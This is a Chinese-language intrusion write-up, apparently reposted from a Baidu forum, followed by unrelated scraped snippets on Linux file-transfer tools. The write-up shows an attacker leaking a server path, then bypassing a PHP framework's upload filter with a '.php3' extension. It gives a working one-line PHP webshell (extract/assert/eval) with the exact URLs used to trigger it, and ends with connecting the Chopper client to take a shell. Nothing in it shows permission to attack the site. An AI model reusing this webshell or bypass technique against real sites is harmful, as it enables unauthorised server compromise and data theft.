【框架上传突破】一次linux+php框架的上传突破

转载:http://tieba.baidu.com/p/4480493887

后台:
test.com/y/?m=qidianAdmin&d=3

【信息探测】↓
-----------------------------------------------信息探测------------------------------------------------------

从链接基本确定是框架写的

审查元素看了下平台,apache 基本确定是php

容错做的不好,访问ks_inc/conn.php?a=sdgsdhjgkjsdgd 爆出物理路径
/www/users/jxxxxx.com/ks_inc/conn.php

得到目录/ks_inc
linux系统+php框架突破上传的话,后面可能需要一些有权限的路径。不然可能导致不解析。

---------------------------------------------------信息探测--------------------------------------------------

后台首页如下;如图1

先看了下网站设置没有敏感功能,那就找上传了。
【上传点情况】
自带上传+fck编辑器
fck基本不用看,很难配合apache拿shell。而且还是高版本。

自带上传也是框架,上传抓不到包,只有整体提交才行(猎鹰能XSS拿到后台也不容易,一般框架后台都自动转义)。

先上传一个正常图片,返回如下↓

http://www。test。com/5df209c2-169c-4acb-9c78-a4bbc6823675
不带后缀,只是一个预览效果。

整体提交后,前面上传的图片返回路径如下↓
/u/20160414/161042228331767761754-5135-77-20.jpg

确定了,真实生成文件是在整体提交,前面只是一个预览的作用。

于是在新闻界面上传,如图2↓

【POST包内容】
包如图3、4、5↓


【得到信息】↓
POST提交地址:m=qidianAdmin&d=3&ifr=1&st=60&c=info_edit

这里qidianAdmin作为文件不能动,那就有几个参数了:d、ifr、c、

没有控制路径和文件的参数,测试发现info_edit参数不可变,否则上传失败。
其他参数基本控制的新闻类型,无意义。

带了个cookie,没什么用。

下面的新闻内容参数控制的新闻内容,对路径和文件名无意义。

下面有个参数
name="newdate"

0000-00-00

基本就是对应上传后的文件名的随机值。
类似这种:5135-77-20

删除后仍然正常上传,修改也无异常。

直接上传php不允许,这里直接修改成php提交。改一下编码便于观察↓如图6

看一下新闻列表的内容↓如图7

<img src="/"
审查元素看了下路径,图片路径已经置为网站根路径,访问也是到了网站首页。

【测试】
1.上传正常图片看结果
结果:图片显示正常,返回路径为:/u/20160414/161042252360541709029-5135-77-20.jpg 如图8↓

2.改为asp后缀
结果:也是和php结果一样,无路径,上传失败。

3.改为不识别后缀aaaa 如下图9↓

结果:访问不解析,直接提示下载了。另外确实在网站为.aaaa后缀存在,以图片显示。

然后尝试用php4 php1 ashx cdx,都不解析,提示下载。

尝试到php3后缀时,图片正常显示。访问如图10↓

基本确定当做php来解析了。

下面直接在包里面插上一句话,结果就报错。换了几个函数的一句话也不行,最后插上传参一句话来解决。

插入:
<?php extract($_GET).$a($b[0]);?>
这样就一个extract函数了,伪全局应该没问题了吧。

上传后得到路径
http://www.test.com/u/20160414/161042308159154391974-5201-77-20.php3

给加上参数访问
http://www.test.com/u/20160414/161042308159154391974-5201-77-20.php3?a=assert&b[0]=eval($_POST[yebaqi5]);

如图12↓

菜刀连接:http://www.test.com/u/20160414/161042308159154391974-5201-77-20.php3?a=assert&b

[0]=eval($_POST[yebaqi5]);

如图13↓

好了,拿到shell

【总结】
突破框架php上传的话,还是要配合各种搭建平台的解析特性,虽然我这里没办法配合。这个apache解析成脚本后直接到首页,上传pphphp得知未过滤,还是配置的问题。

基本上框架写的上传,多少都存在问题,基本上都是后缀问题。

时间: 2024-12-08 06:04:43

【框架上传突破】一次linux+php框架的上传突破的相关文章

通过lrzsz轻松实现Windows/Linux之间文件的上传/下载

在使用lrzsz之前一直都是用FTP来上传下载文件到Linux,在SecureCRT上安装了lrzsz之后个人觉得操作起来比使用FTP更为简单易用.并且可以方便的在本地PC机和远程服务器之间传输文件. 1.安装lrzsz 安装前先检查有没有安装lrzsz [[email protected]  ~]#rpm –ql lrzsz 没安装可以使用下列命令进行安装: [[email protected]  ~]#yum install lrzsz –y 2.配置上传/下载目录 3.安装好lrzsz软件

框架基础:ajax设计方案(三)---集成ajax上传技术

之前发布了ajax的通用解决方案,核心的ajax发布请求,以及集成了轮询.这次去外国网站逛逛,然后发现了ajax level2的上传文件,所以就有了把ajax的上传文件集成进去的想法,ajax方案的level2的改进就不介绍了,不清楚的可到前几篇博客去看看.我们直接切入主题. 概念介绍: 1. js的FormData:js中在新的版本中已经支持了FormData对象,可以初始化一个空的form,或者初始化已经存在的form,浏览器测试代码. 2. 浏览器的支持:浏览器已支持input=file的

如何在Linux中使用sFTP上传或下载文件与文件夹

如何在Linux中使用sFTP上传或下载文件与文件夹 sFTP(安全文件传输程序)是一种安全的交互式文件传输程序,其工作方式与 FTP(文件传输协议)类似. 然而,sFTP 比 FTP 更安全;它通过加密 SSH 传输处理所有操作.在本文中,我们将向你展示如何使用 sFTP 上传/下载整个目录(包括其子目录和子文件). 作者:Aaron Kili来源:Linux中国|2017-03-09 14:42 移动端 收藏 分享 51CTO诚邀您9月23号和秒拍/国美/美团元专家一起聊智能CDN的优化之路

[Linux]很方便的上传下载文件工具rz和sz

 linux上很方便的上传下载文件工具rz和sz (本文适合linux入门的朋友) ######################################################### #<老男孩linux就业培训中心-初级班第七期第一节内容总结. #linux上很方便的上传下载文件工具rz和sz #date:2011-06-15 #作者:老男孩,现就职于<老男孩linux就业培训中心 >讲师. #QQ:31333741 MAIL:[email protected] #

Linux中ftp不能上传文件/目录的解决办法

在linux中不能上传文件或文件夹最多的问题就是权限问题,但有时也不一定是权限问题了,像我就是空间不够用了,下面我来总结一些ftp不能上传文件/目录的解决办法 在排除用户组和权限等问题后,最可能引起ftp下文件无法上传并经常被忽略的因素就是硬盘空间已满,而导致硬盘空间满的问题多数是日志文件所占用的,例如mysql的日志会在不知不觉中变得十分庞大,直至占满剩余的硬盘空间. 解决办法: 1.定期手动清理或使用脚本清理mysql日志或其他相关日志文件. 2.关闭mysql日志(不推荐) 上面是空间有问

linux中使用lftp上传下载文件

lftp是linux中一款ftp服务器相比windows中的ftp显得要复杂不少了,下面我来总结一下lftp文件上传,文件下载,及文件查找等等相关命令吧. lftp连接的几种方法,最常用的是lftp [email protected],这样可以不用明文输入密码. 1.lftp [email protected] 回车 输入密码 2.lftp name:[email protected] 回车 3.lftp site 回车login 用户名 密码 4.lftp 回车 open site 回车 lo

java使用Jsch实现远程操作linux服务器进行文件上传、下载,删除和显示目录信息

1.java使用Jsch实现远程操作linux服务器进行文件上传.下载,删除和显示目录信息. 参考链接:https://www.cnblogs.com/longyg/archive/2012/06/25/2556576.html https://www.cnblogs.com/longyg/archive/2012/06/25/2561332.html https://www.cnblogs.com/qdwyg2013/p/5650764.html#top 引入jar包的maven依赖如下所示:

linux下将文件上传到svn服务器

linux下将文件上传到svn服务器 摘自:https://blog.csdn.net/sky_yangge/article/details/41544773 2014年11月27日 16:47:57 sky样 阅读数 7526 1.首先将svn的所指定的目录checkout到本地目录下: 使用svn co +服务器的地址(path),输入服务器的密码即可,此时会自动在本地目录下同步服务器你所指定的目录及里面所有的文件(其中co 即是 checkout的简写) 例如:svn co hettp:/

linux下使用SVN上传项目

linux下使用SVN上传项目 摘自:https://blog.csdn.net/puppet_/article/details/78259591 2017年10月17日 13:51:33 puppet_ 阅读数 2225 使用SVNimport命令 svn import -m "init import" https://svnserver/project_dir 当前目录下的所有文件上传到server地址 原文地址:https://www.cnblogs.com/LiuYanYGZ/